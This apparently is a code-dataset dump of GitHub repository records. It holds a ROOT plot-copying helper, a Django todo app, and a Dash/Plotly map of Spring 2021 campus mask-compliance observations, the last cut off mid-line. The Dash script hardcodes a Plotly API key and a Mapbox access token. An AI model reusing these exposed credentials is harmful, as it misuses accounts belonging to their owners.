getitem=True, iter=True, len_=True, furtheraction=None):\n assert hasattr(cls, getlistfunctionname)\n\n if furtheraction is None: furtheraction = lambda x: x\n\n if getitem and not hasattr(cls, \"__getitem__\"):\n def __getitem__(self, item):\n return furtheraction(getattr(self, getlistfunctionname)()[item])\n cls.__getitem__ = __getitem__\n\n if iter and not hasattr(cls, \"__iter__\"):\n def __iter__(self):\n for entry in getattr(self, getlistfunctionname)():\n yield furtheraction(entry)\n cls.__iter__ = __iter__\n\n if len_ and not hasattr(cls, \"__len__\"):\n def __len__(self):\n return len(getattr(self, getlistfunctionname)())\n cls.__len__ = __len__\n\ndefinegetattr(ROOT.TDirectory, \"Get\")\ndefinegetattr(ROOT.RooWorkspace, \"obj\")\n\ndefinegetitem(ROOT.TPad, \"GetListOfPrimitives\")\ndefinegetitem(ROOT.THStack, \"GetHists\")\ndefinegetitem(ROOT.TDirectory, \"GetListOfKeys\", furtheraction=lambda x: x.ReadObj())\n\nimport getpass, socket\nif (\"login-node\" in socket.gethostname() or \"compute\" in socket.gethostname() or \"bigmem\" in socket.gethostname()) and getpass.getuser() == \"[email protected]\":\n class __PlotCopier(object):\n import os, pipes, subprocess, tempfile\n def __init__(self):\n self.__tmpdir = None\n\n def __del__(self):\n if self.__tmpdir is not None:\n import os, pipes, subprocess\n command = [\"rsync\", \"-azvP\", os.path.join(self.tmpdir, \"www\", \"\"), \"[email protected]:www/\"]\n try:\n subprocess.check_call(command)\n except:\n print\n print \"Failed to copy plots. To do it yourself, try:\"\n print\n print \" \".join(pipes.quote(_) for _ in command)\n print\n raise\n\n @property\n def tmpdir(self):\n import tempfile\n if self.__tmpdir is None: self.__tmpdir = tempfile.mkdtemp()\n return self.__tmpdir\n\n def marccfilename(self, filename):\n import os\n if \"/www/\" in filename:\n filename = os.path.join(self.tmpdir, \"www\", filename.split(\"/www/\", 1)[1].lstrip(\"/\"))\n self.mkdir_p(os.path.dirname(filename))\n return filename\n\n def mkdir_p(self, path):\n \"\"\"http://stackoverflow.com/a/600612/5228524\"\"\"\n import errno, os\n try:\n os.makedirs(path)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\n __plotcopier = __PlotCopier()\n\n prevsaveas = ROOT.TPad.SaveAs\n def SaveAs(self, filename=\"\", *otherargs, **kwargs):\n return prevsaveas(self, __plotcopier.marccfilename(filename), *otherargs, **kwargs)\n ROOT.TPad.SaveAs = SaveAs\n\n def CopyPlots():\n global __plotcopier\n __plotcopier = __PlotCopier()\n assert not hasattr(ROOT, \"CopyPlots\")\n ROOT.CopyPlots = CopyPlots\n" } ]
1
Sreehariskj/djangoTodo
https://github.com/Sreehariskj/djangoTodo
209991677408baa738fb92f760408130c31b39ae
810472b60161607c0c3e8bcee47fb14f5cf72cce
d8cb1ef58d6c0d99201c69f3302bcb7d3c5644f4
refs/heads/master
2023-08-03T03:03:22.342076
2021-09-21T13:54:54
2021-09-21T13:54:54
407,068,828
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6178861856460571, "alphanum_fraction": 0.6178861856460571, "avg_line_length": 21.454545974731445, "blob_id": "b4513fadfe89f5a0405985e08176afe150580240", "content_id": "05c22670f103e4b517132f0e5c7d08455168b480", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 246, "license_type": "no_license", "max_line_length": 40, "num_lines": 11, "path": "/core/urls.py", "repo_name": "Sreehariskj/djangoTodo", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import home,update,delete\n\nurlpatterns=[\n path('',home,name ='home'),\n path('update/<int:todo_id>/',update,\n name ='update'),\n path('delete/<int:todo_id>/',delete,\n name = 'delete'),\n \n ]" }, { "alpha_fraction": 0.6603773832321167, "alphanum_fraction": 0.6603773832321167, "avg_line_length": 13.857142448425293, "blob_id": "447dc55cfecc6a0c7d16c3f400aca7c01918eb8f", "content_id": "db17ca2b7cab56d1d4d72273fe11b87fd0b2d6cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 106, "license_type": "no_license", "max_line_length": 51, "num_lines": 7, "path": "/README.md", "repo_name": "Sreehariskj/djangoTodo", "src_encoding": "UTF-8", "text": "# Django Todo App\n\n##### App link : https://djangostodo.herokuapp.com/\n\n## Features\n* CRUD\n* Responsive\n \n" }, { "alpha_fraction": 0.6167048215866089, "alphanum_fraction": 0.6167048215866089, "avg_line_length": 28.16666603088379, "blob_id": "2a727bbc03e71b8f8969ee768b04ae48ef67cace", "content_id": "2ca72308031d7e191321d3a777abfa708e8666f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 874, "license_type": "no_license", "max_line_length": 66, "num_lines": 30, "path": "/core/views.py", "repo_name": "Sreehariskj/djangoTodo", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,redirect\nfrom core.forms import TodoForm\nfrom core.models import Todo\n\ndef home(request):\n form = TodoForm()\n todos = Todo.objects.all()\n if request.method == 'POST':\n form = TodoForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home')\n \n return render(request,'home.html',{'form':form,'todos':todos})\n\ndef update(request,todo_id):\n todo = Todo.objects.get(id = todo_id)\n form = TodoForm(instance = todo)\n if request.method == 'POST':\n form = TodoForm(request.POST,\n instance = todo)\n if form.is_valid():\n form.save()\n return redirect('home')\n\n return render(request,'update.html',{'form':form})\ndef delete(request,todo_id):\n todo =Todo.objects.get(id = todo_id)\n todo.delete()\n return redirect('home')" }, { "alpha_fraction": 0.3531518578529358, "alphanum_fraction": 0.3617478609085083, "avg_line_length": 35.72972869873047, "blob_id": "4e9d36e9a64f95b7570f79269d59a07421cd8e84", "content_id": "9790df732494d1cec2ced8a7abc2ceef767196ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1396, "license_type": "no_license", "max_line_length": 105, "num_lines": 37, "path": "/core/templates/home.html", "repo_name": "Sreehariskj/djangoTodo", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\r\n{% block content %}\r\n<section id=\"todo\">\r\n <div class=\"container\">\r\n <div class=\"row\">\r\n <div class=\"col-md-12\">\r\n <h1 class=\"text-center display-4\">Note</h1>\r\n </div>\r\n <div class=\"col-md-12\">\r\n <form method=\"POST\">\r\n {% csrf_token %}\r\n {{ form.as_p}}\r\n <input type=\"submit\" class=\"btn btn-dark btn-block\" value=\"Submit\"/>\r\n </form>\r\n </div>\r\n <div class=\"col-md-12 mt-3\">\r\n <div class=\"todo-list text-center\">\r\n {% for todo in todos %}\r\n <div class=\"todo-content border border-dark p-2 mb-2 d-flex justify-content-between\">\r\n <div>\r\n <span class=\"lead\">{{ todo.title }}</span>\r\n </div>\r\n <div>\r\n <a href=\"{% url \"update\" todo.id %}\" class=\"btn btn-warning\">Update</a>\r\n \r\n <a href=\"{% url \"delete\" todo.id %}\" class=\"btn btn-danger\"/>Delete</a>\r\n \r\n </div>\r\n </div>\r\n {% endfor %}\r\n </div>\r\n </div>\r\n </div>\r\n </div>\r\n\r\n</section>\r\n{% endblock %}\r\n" }, { "alpha_fraction": 0.5748031735420227, "alphanum_fraction": 0.5748031735420227, "avg_line_length": 24.5, "blob_id": "d3a411d50aa8bb8f767a22ec61f286c0ecc7131f", "content_id": "3e6ac29edc117b0c3ffb500a7fbff9a4e4f6875e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "no_license", "max_line_length": 70, "num_lines": 10, "path": "/core/forms.py", "repo_name": "Sreehariskj/djangoTodo", "src_encoding": "UTF-8", "text": "from django import forms\nfrom core.models import Todo\n\nclass TodoForm(forms.ModelForm):\n class Meta:\n model =Todo\n fields = '__all__'\n widgets = {\n 'title': forms.TextInput(attrs={'class': 'form-control'}),\n }" } ]
5
AlexLaMattina/ProjectDarienSpring2021
https://github.com/AlexLaMattina/ProjectDarienSpring2021
a407900f0579901f548c00e7bd1c5802d43facc3
5ca58ce5c0a5f1d8ebbc08b0a5ab4631d4cf004f
59861b9aae597a67f4dca02434b6a027408c51c6
refs/heads/master
2023-08-17T06:42:48.750062
2021-09-28T02:00:11
2021-09-28T02:00:11
340,172,744
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5014972686767578, "alphanum_fraction": 0.5522432327270508, "avg_line_length": 33.51303482055664, "blob_id": "aa2e8268af7ccef9501bdbe61a900128b3b6e935", "content_id": "a9453cbb485a906327d988d236bee2641f19eaee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37067, "license_type": "no_license", "max_line_length": 127, "num_lines": 1074, "path": "/main.py", "repo_name": "AlexLaMattina/ProjectDarienSpring2021", "src_encoding": "UTF-8", "text": "import dash\nimport flask\nfrom pandas import DataFrame\nfrom plotly.graph_objs import Scattermapbox\nfrom flask import Flask\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objs as go\nimport chart_studio.plotly as py\nimport pandas as pd\n\npy.sign_in('alexlamattina', 'WMl4yDvoKm1xPWk9Wjxx')\n\nmapbox_access_token = 'pk.eyJ1IjoiamFja2x1byIsImEiOiJjaXhzYTB0bHcwOHNoMnFtOWZ3YWdreDB3In0.pjROwb9_CEuyKPE-x0lRUw'\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\nserver = flask.Flask(__name__)\n\nurl = 'https://raw.githubusercontent.com/AlexLaMattina/ProjectDarienSpring2021/master/COVID19%20Building%20Data.csv'\nurl2 = 'https://raw.githubusercontent.com/AlexLaMattina/ProjectDarienSpring2021/master/Spring2021Data.csv'\nurl3 = 'https://raw.githubusercontent.com/AlexLaMattina/ProjectDarienSpring2021/master/Spring2021Percentages.csv'\n\ndf = pd.read_csv(url, dtype={\"Location\": \"string\", \"LON\": \"float\", \"LAT\": \"float\"})\npf = pd.read_csv(url2, dtype={\"id\": \"int\",\n \"date\": \"string\",\n \"correcttod\": \"int\",\n \"LON\": \"float\",\n \"LAT\": \"float\",\n \"nomaskincor\": \"int\",\n \"socialdist\": \"int\",\n \"Masksd\": \"int\",\n \"agegroup\": \"int\",\n \"white\": \"int\", \"sex\": \"int\",\n \"sex\": \"int\",\n \"obese\": \"int\"})\n\n\nper = pd.read_csv(url3, dtype={\"semester 1=fall 2=spring\": \"float\",\n \"studyweek 1=baseline\": \"float\",\n \"activity % moving (walk, run, bike)\": \"float\",\n \"withmask % with a mask\": \"float\",\n \"maskincorrect (% without mask or with mask but worn incorrectly)\": \"float\",\n \"notphysicaldist (% < 6 ft from someone)\": \"float\",\n \"percentnotcomliantsdmask (% non-compliant with mask wearing and physical distancing)\": \"float\",\n \"ageover55\": \"float\",\n \"percentmale\": \"float\",\n \"percentobese\": \"float\",\n \"percentnonwhite\": \"float\", })\n\n\nfig = go.Figure()\nfig = make_subplots(rows=3, cols=3, subplot_titles=(\"Percent of Total Described Moving\",\n \"Percent of Total Described With a Mask\",\n \"Percent of Total Described Wearing a Mask Incorrectly\",\n \"Percent of Total Described Not Social Distancing<br>\"\n \"(<6 Feet From Someone)\",\n \"Percent of Total Described Not Compliant with Regulations\",\n \"Percent of Total Described Over the Age 55\",\n \"Percent of Total Described Male\",\n \"Percent of Total Described Obese\",\n \"Percent of Total Described Non-white\"))\n\nfor i in fig['layout']['annotations']:\n i['font'] = dict(size=10)\n\nactivityper = []\nwearingmaskper = []\nincorrectmaskper = []\nnotsocialdistper = []\nnotcompliantper = []\nageper = []\nmalesper = []\nobeseper = []\nnonwhiteper = []\n\nfor i in per.index:\n wearingmaskper.append(per['withmask % with a mask'][i])\n incorrectmaskper.append(per['maskincorrect (% without mask or with mask but worn incorrectly)'][i])\n notcompliantper.append(per['percentnotcomliantsdmask (% non-compliant with mask wearing and physical distancing)'][i])\n activityper.append(per['activity % moving (walk, run, bike)'][i])\n notsocialdistper.append(per['notphysicaldist (% < 6 ft from someone)'][i])\n obeseper.append(per['percentobese'][i])\n malesper.append(per['percentmale'][i])\n nonwhiteper.append(per['percentnonwhite'][i])\n ageper.append(per['ageover55'][i])\n\ndates = [\"2/10/2021\", \"2/16/2021\", \"2/26/2021\", \"3/4/2021\", \"3/11/2021\", \"3/15/2021\", \"3/25/2021\", \"3/30/2021\",\n \"4/5/2021\", \"4/13/2021\", \"4/20/2021\", \"4/28/2021\", \"5/7/2021\", \"5/12/2021\", \"5/22/2021\", \"5/26/2021\"]\n\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Doing an Activity\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=activityper, ),\n row=1,\n col=1)\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Wearing Masks\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=wearingmaskper, ),\n row=1,\n col=2)\n# NO MASK WEARING TREND\n\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Wearing Masks Incorrectly\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=incorrectmaskper, ),\n row=1,\n col=3)\n\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Not Social Distancing\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=notsocialdistper),\n row=2,\n col=1)\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Non-Compliant\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=notcompliantper, ),\n row=2,\n col=2)\n\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Over the Age of 55\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=ageper),\n row=2,\n col=3)\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Male\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=malesper),\n row=3,\n col=1)\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent Obese\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=obeseper, ),\n row=3,\n col=2)\n\nfig.append_trace(go.Scatter(\n hovertext=\"Percent NonWhite\",\n name=\"\",\n mode='lines+markers',\n x=dates,\n y=nonwhiteper),\n row=3,\n col=3)\n\n###########################################################################\n\n# SPLIT UP DATA BY DATE, MASKS, and SOCIAL DIST\ndate1masklon = []\ndate1masklat = []\ndate1id = []\ndate1nomasklon = []\ndate1nomasklat = []\ndate1unknownlon = []\ndate1unknownlat = []\n\ndate2masklon = []\ndate2masklat = []\ndate2id = []\ndate2nomasklon = []\ndate2nomasklat = []\ndate2unknownlon = []\ndate2unknownlat = []\n\ndate3masklon = []\ndate3masklat = []\ndate3id = []\ndate3nomasklon = []\ndate3nomasklat = []\ndate3unknownlon = []\ndate3unknownlat = []\n\ndate4masklon = []\ndate4masklat = []\ndate4id = []\ndate4nomasklon = []\ndate4nomasklat = []\ndate4unknownlon = []\ndate4unknownlat = []\n\ndate5masklon = []\ndate5masklat = []\ndate5id = []\ndate5nomasklon = []\ndate5nomasklat = []\ndate5unknownlon = []\ndate5unknownlat = []\n\ndate6masklon = []\ndate6masklat = []\ndate6id = []\ndate6nomasklon = []\ndate6nomasklat = []\ndate6unknownlon = []\ndate6unknownlat = []\n\ndate7masklon = []\ndate7masklat = []\ndate7id = []\ndate7nomasklon = []\ndate7nomasklat = []\ndate7unknownlon = []\ndate7unknownlat = []\n\ndate8masklon = []\ndate8masklat = []\ndate8id = []\ndate8nomasklon = []\ndate8nomasklat = []\ndate8unknownlon = []\ndate8unknownlat = []\n\ndate9masklon = []\ndate9masklat = []\ndate9id = []\ndate9nomasklon = []\ndate9nomasklat = []\ndate9unknownlon = []\ndate9unknownlat = []\n\ndate10masklon = []\ndate10masklat = []\ndate10id = []\ndate10nomasklon = []\ndate10nomasklat = []\ndate10unknownlon = []\ndate10unknownlat = []\n\ndate11masklon = []\ndate11masklat = []\ndate11id = []\ndate11nomasklon = []\ndate11nomasklat = []\ndate11unknownlon = []\ndate11unknownlat = []\n\ndate12masklon = []\ndate12masklat = []\ndate12id = []\ndate12nomasklon = []\ndate12nomasklat = []\ndate12unknownlon = []\ndate12unknownlat = []\n\ndate13masklon = []\ndate13masklat = []\ndate13id = []\ndate13nomasklon = []\ndate13nomasklat = []\ndate13unknownlon = []\ndate13unknownlat = []\n\ndate14masklon = []\ndate14masklat = []\ndate14id = []\ndate14nomasklon = []\ndate14nomasklat = []\ndate14unknownlon = []\ndate14unknownlat = []\n\ndate15masklon = []\ndate15masklat = []\ndate15id = []\ndate15nomasklon = []\ndate15nomasklat = []\ndate15unknownlon = []\ndate15unknownlat = []\n\ndate16masklon = []\ndate16masklat = []\ndate16id = []\ndate16nomasklon = []\ndate16nomasklat = []\ndate16unknownlon = []\ndate16unknownlat = []\n\nmasklon = []\nmasklat = []\nids = []\nnomasklon = []\nnomasklat = []\nunknownlon = []\nunknownlat = []\n\nfor i in pf.index:\n if pf['date'][i] == '2/10/2021':\n date1id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date1masklon.append(pf['LON'][i])\n date1masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date1nomasklon.append(pf['LON'][i])\n date1nomasklat.append(pf['LAT'][i])\n else:\n date1unknownlon.append(pf['LON'][i])\n date1unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '2/16/2021':\n date2id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date2masklon.append(pf['LON'][i])\n date2masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date2nomasklon.append(pf['LON'][i])\n date2nomasklat.append(pf['LAT'][i])\n else:\n date2unknownlon.append(pf['LON'][i])\n date2unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '2/26/2021':\n date3id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date3masklon.append(pf['LON'][i])\n date3masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date3nomasklon.append(pf['LON'][i])\n date3nomasklat.append(pf['LAT'][i])\n else:\n date3unknownlon.append(pf['LON'][i])\n date3unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '3/4/2021':\n date4id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date4masklon.append(pf['LON'][i])\n date4masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date4nomasklon.append(pf['LON'][i])\n date4nomasklat.append(pf['LAT'][i])\n else:\n date4unknownlon.append(pf['LON'][i])\n date4unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '3/11/2021':\n date5id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date5masklon.append(pf['LON'][i])\n date5masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date5nomasklon.append(pf['LON'][i])\n date5nomasklat.append(pf['LAT'][i])\n else:\n date5unknownlon.append(pf['LON'][i])\n date5unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '3/15/2021':\n date6id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date6masklon.append(pf['LON'][i])\n date6masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date6nomasklon.append(pf['LON'][i])\n date6nomasklat.append(pf['LAT'][i])\n else:\n date6unknownlon.append(pf['LON'][i])\n date6unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '3/25/2021':\n date7id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date7masklon.append(pf['LON'][i])\n date7masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date7nomasklon.append(pf['LON'][i])\n date7nomasklat.append(pf['LAT'][i])\n else:\n date7unknownlon.append(pf['LON'][i])\n date7unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '3/30/2021':\n date8id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date8masklon.append(pf['LON'][i])\n date8masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date8nomasklon.append(pf['LON'][i])\n date8nomasklat.append(pf['LAT'][i])\n else:\n date8unknownlon.append(pf['LON'][i])\n date8unknownlat.append(pf['LAT'][i])\n if pf['date'][i] == '4/5/2021':\n date9id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date9masklon.append(pf['LON'][i])\n date9masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date9nomasklon.append(pf['LON'][i])\n date9nomasklat.append(pf['LAT'][i])\n else:\n date9unknownlon.append(pf['LON'][i])\n date9unknownlat.append(pf['LAT'][i])\n \n if pf['date'][i] == '4/13/2021':\n date10id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date10masklon.append(pf['LON'][i])\n date10masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date10nomasklon.append(pf['LON'][i])\n date10nomasklat.append(pf['LAT'][i])\n else:\n date10unknownlon.append(pf['LON'][i])\n date10unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '4/20/2021':\n date11id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date11masklon.append(pf['LON'][i])\n date11masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date11nomasklon.append(pf['LON'][i])\n date11nomasklat.append(pf['LAT'][i])\n else:\n date11unknownlon.append(pf['LON'][i])\n date11unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '4/28/2021':\n date12id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date12masklon.append(pf['LON'][i])\n date12masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date12nomasklon.append(pf['LON'][i])\n date12nomasklat.append(pf['LAT'][i])\n else:\n date12unknownlon.append(pf['LON'][i])\n date12unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '5/7/2021':\n date13id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date13masklon.append(pf['LON'][i])\n date13masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date13nomasklon.append(pf['LON'][i])\n date13nomasklat.append(pf['LAT'][i])\n else:\n date13unknownlon.append(pf['LON'][i])\n date13unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '5/12/2021':\n date14id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date14masklon.append(pf['LON'][i])\n date14masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date14nomasklon.append(pf['LON'][i])\n date14nomasklat.append(pf['LAT'][i])\n else:\n date14unknownlon.append(pf['LON'][i])\n date14unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '5/22/2021':\n date15id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date15masklon.append(pf['LON'][i])\n date15masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date15nomasklon.append(pf['LON'][i])\n date15nomasklat.append(pf['LAT'][i])\n else:\n date15unknownlon.append(pf['LON'][i])\n date15unknownlat.append(pf['LAT'][i])\n\n if pf['date'][i] == '5/26/2021':\n date16id.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n date16masklon.append(pf['LON'][i])\n date16masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n date16nomasklon.append(pf['LON'][i])\n date16nomasklat.append(pf['LAT'][i])\n else:\n date16unknownlon.append(pf['LON'][i])\n date16unknownlat.append(pf['LAT'][i])\n\n ids.append(pf['id'][i])\n if pf[\"Masksd\"][i] == 1:\n masklon.append(pf['LON'][i])\n masklat.append(pf['LAT'][i])\n elif pf[\"Masksd\"][i] == 0:\n nomasklon.append(pf['LON'][i])\n nomasklat.append(pf['LAT'][i])\n else:\n unknownlon.append(pf['LON'][i])\n unknownlat.append(pf['LAT'][i])\n\ntrace1 = Scattermapbox(\n name=\"Buildings\",\n mode=\"markers\",\n lon=df['LAT'],\n lat=df['LON'],\n text=df['Location'],\n\n hoverinfo=\"lon+lat+text\",\n marker=dict(\n symbol='square-stroked',\n size=12,\n color='black',\n opacity=1\n ),\n legendgroup=\"Buildings\",\n\n)\n\n\ndef maketrace(name, lats, lons, dataframe, color, shape, group, showlegend, sd):\n return Scattermapbox(\n\n name=name,\n mode=\"markers\",\n\n lon=lats,\n lat=lons,\n text=\"ID: \" + dataframe['ID'].astype(str) + \"<br>Mask/Social Distance Compliance: \" + sd,\n hoverinfo=\"lon+lat+text\",\n # SPECS\n marker=dict(\n size=12,\n color=color,\n symbol=shape,\n opacity=0.8,\n ),\n\n legendgroup=group,\n showlegend=showlegend,\n\n )\n\n\ndef makeborder(name, lats, lons, dataframe, color, shape, group, showlegend, sd, mask):\n return Scattermapbox(\n\n name=name,\n mode=\"markers\",\n\n lon=lats,\n lat=lons,\n text=\"ID: \" + dataframe['ID'].astype(\n str) + \"<br>Social Distance Compliance: \" + sd + \"<br>Mask Compliance: \" + mask,\n hoverinfo=\"lon+lat+text\",\n # SPECS\n marker=dict(\n size=15,\n color=color,\n symbol=shape,\n opacity=0.8,\n ),\n\n legendgroup=group,\n showlegend=showlegend,\n\n )\n\n\ndef makeborder2(name, lats, lons, dataframe, color, shape, group, showlegend, sd, mask, date):\n return Scattermapbox(\n\n name=name,\n mode=\"markers\",\n\n lon=lats,\n lat=lons,\n text=\"ID: \" + dataframe['ID'].astype(\n str) + \"<br>Date: \" + date['date'].astype(\n str) + \"<br>Social Distance Compliance: \" + sd + \"<br>Mask Compliance: \" + mask,\n hoverinfo=\"lon+lat+text\",\n # SPECS\n marker=dict(\n size=10,\n color=color,\n symbol=shape,\n opacity=0.8,\n ),\n\n legendgroup=group,\n showlegend=showlegend,\n\n )\n\n\ndef makeborder3(name, lats, lons, color, shape, group, showlegend):\n return Scattermapbox(\n\n name=name,\n mode=\"markers\",\n\n lon=lats,\n lat=lons,\n\n # SPECS\n marker=dict(\n size=15,\n color=color,\n symbol=shape,\n opacity=0.8,\n ),\n\n legendgroup=group,\n showlegend=showlegend,\n\n )\n\ndate1df = DataFrame(date1id, columns=['ID'])\ntrace2 = maketrace(\"2/10/2021\", date1masklat, date1masklon, date1df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace3 = maketrace(\"2/10/2021\", date1nomasklat, date1nomasklon, date1df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace4 = maketrace(\"2/10/2021\", date1unknownlat, date1unknownlon, date1df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate2df = DataFrame(date2id, columns=['ID'])\ntrace5 = maketrace(\"2/16/2021\", date2masklat, date2masklon, date2df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace6 = maketrace(\"2/16/2021\", date2nomasklat, date2nomasklon, date2df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace7 = maketrace(\"2/16/2021\", date2unknownlat, date2unknownlon, date2df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate3df = DataFrame(date3id, columns=['ID'])\ntrace8 = maketrace(\"2/26/2021\", date3masklat, date3masklon, date3df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace9 = maketrace(\"2/26/2021\", date3nomasklat, date3nomasklon, date3df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace10 = maketrace(\"2/26/2021\", date3unknownlat, date3unknownlon, date3df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate4df = DataFrame(date4id, columns=['ID'])\ntrace11 = maketrace(\"3/4/2021\", date4masklat, date4masklon, date4df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace12 = maketrace(\"3/4/2021\", date4nomasklat, date4nomasklon, date4df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace13 = maketrace(\"3/4/2021\", date4unknownlat, date4unknownlon, date4df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate5df = DataFrame(date5id, columns=['ID'])\ntrace14 = maketrace(\"3/11/2021\", date5masklat, date5masklon, date5df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace15 = maketrace(\"3/11/2021\", date5nomasklat, date5nomasklon, date5df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace16 = maketrace(\"3/11/2021\", date5unknownlat, date5unknownlon, date5df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate6df = DataFrame(date6id, columns=['ID'])\ntrace17 = maketrace(\"3/15/2021\", date6masklat, date6masklon, date6df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace18 = maketrace(\"3/15/2021\", date6nomasklat, date6nomasklon, date6df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace19 = maketrace(\"3/15/2021\", date6unknownlat, date6unknownlon, date6df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate7df = DataFrame(date7id, columns=['ID'])\ntrace20 = maketrace(\"3/25/2021\", date7masklat, date7masklon, date7df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace21 = maketrace(\"3/25/2021\", date7nomasklat, date7nomasklon, date7df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace22 = maketrace(\"3/25/2021\", date7unknownlat, date7unknownlon, date7df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate8df = DataFrame(date8id, columns=['ID'])\ntrace23 = maketrace(\"3/30/2021\", date8masklat, date8masklon, date8df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace24 = 